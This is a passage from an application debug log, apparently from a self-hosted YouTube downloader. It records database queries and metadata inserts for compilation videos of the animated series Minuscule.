s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:56.834 [debug] QUERY OK source="sources" db=0.3ms idle=188.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:56.835 [debug] QUERY OK source="media_items" db=0.9ms idle=189.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 10:01:49Z], 4] 00:49:56.851 [debug] QUERY OK source="media_items" db=15.0ms idle=190.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bananas | S01E69\n00:04:38 | Goofing Off | S01E37\n00:09:19 | The Bridge On The River Zzzzzzz | S01E18\n00:14:06 | Totem | S01E28\n00:18:52 | The Shellproof Nut | S01E40\n00:23:41 | Cicadas’ Song | S01E16\n00:28:30 | The Quest For The Pink Lollipop | S01E32\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bananas #ants #kitchen #sugar #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Bananas | Minuscule 🍃 40' Compilation", "9b9e11a5-8846-4716-8431-85ac9c697912", "2NONjVZCJuE", 2022, false, 4, "https://www.youtube.com/watch?v=2NONjVZCJuE", 44, "/downloads/Miniscule Season 1/2025-06-05 Bananas | Minuscule 🍃 40' Compilation/Bananas | Minuscule 🍃 40' Compilation [2NONjVZCJuE].mkv", false, false, false, [], 1, ~U[2025-06-05 10:01:49Z], ~U[2025-12-14 07:49:56Z], ~U[2025-12-14 07:49:56Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bananas | S01E69\n00:04:38 | Goofing Off | S01E37\n00:09:19 | The Bridge On The River Zzzzzzz | S01E18\n00:14:06 | Totem | S01E28\n00:18:52 | The Shellproof Nut | S01E40\n00:23:41 | Cicadas’ Song | S01E16\n00:28:30 | The Quest For The Pink Lollipop | S01E32\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bananas #ants #kitchen #sugar #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Bananas | Minuscule 🍃 40' Compilation", "2NONjVZCJuE", 2022, false, 4, "https://www.youtube.com/watch?v=2NONjVZCJuE", "/downloads/Miniscule Season 1/2025-06-05 Bananas | Minuscule 🍃 40' Compilation/Bananas | Minuscule 🍃 40' Compilation [2NONjVZCJuE].mkv", false, ~U[2025-06-05 10:01:49Z]] 00:49:56.852 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=206.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:56.853 [debug] QUERY OK source="media_profiles" db=0.4ms idle=19.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:56.854 [debug] QUERY OK source="media_items" db=0.4ms idle=19.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91163] 00:49:56.854 [debug] Current batch of media processed. Will check again in 1000ms 00:49:57.855 [debug] Current batch of media processed. Will check again in 1000ms 00:49:58.856 [debug] Current batch of media processed. Will check again in 1000ms 00:49:59.857 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Winter Of Our Discontent | S01E67\n00:04:48 | The Escapist | S01E59\n00:09:18 | The Noodle Battle | S01E70\n00:13:52 | The Persevering One | S01E31\n00:18:33 | Windswept | S01E68\n00:23:22 | Quiet! | S01E60\n00:28:04 | Interior Cobwebs | S01E64\n00:32:31 | Out Of A Tin Can | S01E65\n00:37:06 | Totem | S01E28\n00:41:52 | No Luck | S01E62\n00:46:35 | O Tannenbaum | S01E71\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#winter #fly #radiator #spider #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 3105, "filename" => "/downloads/Miniscule Season 1/2025-05-22 The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation/The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation [JRMFZTljx1I].mkv", "id" => "JRMFZTljx1I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JRMFZTljx1I", "playlist_index" => 45, "timestamp" => 1747908102, "title" => "The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation", "upload_date" => "20250522"} 00:49:59.858 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1212.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:49:59.859 [debug] QUERY OK source="sources" db=0.3ms idle=1214.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:59.861 [debug] QUERY OK source="media_items" db=1.0ms idle=1214.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 10:01:42Z], 4] 00:49:59.864 [debug] QUERY OK source="media_items" db=2.3ms idle=1216.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Winter Of Our Discontent | S01E67\n00:04:48 | The Escapist | S01E59\n00:09:18 | The Noodle Battle | S01E70\n00:13:52 | The Persevering One | S01E31\n00:18:33 | Windswept | S01E68\n00:23:22 | Quiet! | S01E60\n00:28:04 | Interior Cobwebs | S01E64\n00:32:31 | Out Of A Tin Can | S01E65\n00:37:06 | Totem | S01E28\n00:41:52 | No Luck | S01E62\n00:46:35 | O Tannenbaum | S01E71\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#winter #fly #radiator #spider #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation", "e34af089-3b57-4698-9aac-d2945603209f", "JRMFZTljx1I", 3105, false, 4, "https://www.youtube.com/watch?v=JRMFZTljx1I", 45, "/downloads/Miniscule Season 1/2025-05-22 The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation/The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation [JRMFZTljx1I].mkv", false, false, false, [], 1, ~U[2025-05-22 10:01:42Z], ~U[2025-12-14 07:49:59Z], ~U[2025-12-14 07:49:59Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Winter Of Our Discontent | S01E67\n00:04:48 | The Escapist | S01E59\n00:09:18 | The Noodle Battle | S01E70\n00:13:52 | The Persevering One | S01E31\n00:18:33 | Windswept | S01E68\n00:23:22 | Quiet! | S01E60\n00:28:04 | Interior Cobwebs | S01E64\n00:32:31 | Out Of A Tin Can | S01E65\n00:37:06 | Totem | S01E28\n00:41:52 | No Luck | S01E62\n00:46:35 | O Tannenbaum | S01E71\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#winter #fly #radiator #spider #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation", "JRMFZTljx1I", 3105, false, 4, "https://www.youtube.com/watch?v=JRMFZTljx1I", "/downloads/Miniscule Season 1/2025-05-22 The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation/The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation [JRMFZTljx1I].mkv", false, ~U[2025-05-22 10:01:42Z]] 00:49:59.865 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=538.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:49:59.865 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:49:59.866 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91164] 00:49:59.867 [debug] Current batch of media processed. Will check again in 1000ms 00:50:00.652 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:00.868 [debug] Current batch of media processed. Will check again in 1000ms 00:50:01.132 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:01.869 [debug] Current batch of media processed. Will check again in 1000ms 00:50:02.870 [debug] Current batch of media processed. Will check again in 1000ms 00:50:03.871 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Picnic | S01E24\n00:09:23 | King Size Camembert | S01E45\n00:14:02 | The Quest For The Pink Lollipop | S01E32\n00:18:43 | Cherry Tomato | S01E77\n00:23:21 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #Picnic #Spider #Fly #Jam #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1719, "filename" => "/downloads/Miniscule Season 1/2025-05-20 Chewing Gum | Minuscule 🍃 35' Compilation/Chewing Gum | Minuscule 🍃 35' Compilation [CGWyqIQ1phY].mkv", "id" => "CGWyqIQ1phY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CGWyqIQ1phY", "playlist_index" => 46, "timestamp" => 1747720856, "title" => "Chewing Gum | Minuscule 🍃 35' Compilation", "upload_date" => "20250520"} 00:50:03.872 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1226.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:03.873 [debug] QUERY OK source="sources" db=0.4ms idle=1227.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:03.874 [debug] QUERY OK source="media_items" db=1.0ms idle=539.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 06:00:56Z], 4] 00:50:03.886 [debug] QUERY OK source="media_items" db=10.8ms idle=230.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Picnic | S01E24\n00:09:23 | King Size Camembert | S01E45\n00:14:02 | The Quest For The Pink Lollipop | S01E32\n00:18:43 | Cherry Tomato | S01E77\n00:23:21 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #Picnic #Spider #Fly #Jam #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 35' Compilation", "4d3e14f0-50a5-4aa5-b5ed-0fe615d60302", "CGWyqIQ1phY", 1719, false, 4, "https://www.youtube.com/watch?v=CGWyqIQ1phY", 46, "/downloads/Miniscule Season 1/2025-05-20 Chewing Gum | Minuscule 🍃 35' Compilation/Chewing Gum | Minuscule 🍃 35' Compilation [CGWyqIQ1phY].mkv", false, false, false, [], 1, ~U[2025-05-20 06:00:56Z], ~U[2025-12-14 07:50:03Z], ~U[2025-12-14 07:50:03Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Picnic | S01E24\n00:09:23 | King Size Camembert | S01E45\n00:14:02 | The Quest For The Pink Lollipop | S01E32\n00:18:43 | Cherry Tomato | S01E77\n00:23:21 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #Picnic #Spider #Fly #Jam #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 35' Compilation", "CGWyqIQ1phY", 1719, false, 4, "https://www.youtube.com/watch?v=CGWyqIQ1phY", "/downloads/Miniscule Season 1/2025-05-20 Chewing Gum | Minuscule 🍃 35' Compilation/Chewing Gum | Minuscule 🍃 35' Compilation [CGWyqIQ1phY].mkv", false, ~U[2025-05-20 06:00:56Z]] 00:50:03.887 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=241.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:03.888 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=15.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:03.889 [debug] QUERY OK source="media_items" db=0.6ms idle=15.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91166] 00:50:03.889 [debug] Current batch of media processed. Will check again in 1000ms 00:50:04.891 [debug] Current batch of media processed. Will check again in 1000ms 00:50:05.892 [debug] Current batch of media processed. Will check again in 1000ms 00:50:06.893 [debug] Current batch of media processed. Will check again in 1000ms 00:50:07.894 [debug] Current batch of media processed. Will check again in 1000ms 00:50:08.895 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It Never Rains But It Pours | S01E41\n00:04:48 | A Rolling Snail Gathers No Moss | S01E49\n00:09:24 | Leech | S01E73\n00:13:48 | A Snail’s Dream | S01E11\n00:18:38 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snails #drought #journey #water #snail #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1432, "filename" => "/downloads/Miniscule Season 1/2025-05-08 It Never Rains But It Pours | Minuscule 🍃 30' Compilation/It Never Rains But It Pours | Minuscule 🍃 30' Compilation [-eoQKdjIWL8].mp4", "id" => "-eoQKdjIWL8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-eoQKdjIWL8", "playlist_index" => 47, "timestamp" => 1746698500, "title" => "It Never Rains But It Pours | Minuscule 🍃 30' Compilation", "upload_date" => "20250508"} 00:50:08.896 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1250.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN 